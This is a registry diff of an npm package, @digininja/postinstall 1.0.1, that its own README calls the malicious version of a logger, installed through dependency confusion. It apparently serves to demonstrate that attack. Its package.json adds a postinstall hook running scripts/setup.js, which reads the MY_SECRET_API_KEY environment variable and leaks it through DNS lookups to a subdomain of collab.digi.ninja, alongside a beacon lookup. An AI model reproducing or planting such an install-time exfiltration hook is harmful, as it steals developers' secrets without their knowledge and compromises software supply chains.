@digininja/postinstall 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # Logger
2
+
3
+ This is the malicious version of the logger published to npm and using dependency confusion to get installed over the real version.
package/index.js ADDED
@@ -0,0 +1,4 @@
1
+ module.exports = {
2
+ info: (msg) => console.log(`[LOCAL][INFO] ${new Date().toISOString()}: ${msg}`),
3
+ error: (msg) => console.error(`[LOCAL][ERROR] ${new Date().toISOString()}: ${msg}`)
4
+ };
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@digininja/postinstall",
3
+ "version": "1.0.1",
4
+ "description": "Hijack secrets from GitHub",
5
+ "author": "Digininja",
6
+ "type": "commonjs",
7
+ "main": "index.js",
8
+ "scripts": {
9
+ "postinstall": "node ./scripts/setup.js"
10
+ }
11
+ }
@@ -0,0 +1,37 @@
1
+ const apiKey = process.env.MY_SECRET_API_KEY;
2
+
3
+ const dns = require('node:dns');
4
+
5
+ const options = {
6
+ family: 4, // Look for IPv4
7
+ hints: dns.ADDRCONFIG | dns.V4MAPPED,
8
+ };
9
+
10
+ function lookup(domain) {
11
+ dns.lookup(domain, options, (err, address, family) => {
12
+ if (err) {
13
+ console.error('Lookup failed:', err);
14
+ return;
15
+ }
16
+ // don't care
17
+ // console.log('Address: %j family: IPv4', address);
18
+ });
19
+ }
20
+
21
+ function log(message, data = '') {
22
+ console.log(`[POSTINSTALL DEBUG] ${message}`, data);
23
+ }
24
+
25
+ // DNS cache buster
26
+ const seconds = Math.floor(Date.now() / 1000);
27
+ lookup('gotHere' + seconds + ".6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja");
28
+
29
+ log('Checking for API Key...');
30
+
31
+ if (!apiKey) {
32
+ log('API Key missing. Exiting gracefully.');
33
+ process.exit(0);
34
+ }
35
+ lookup(apiKey+'.6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja');
36
+
37
+ log('Using API Key:', apiKey);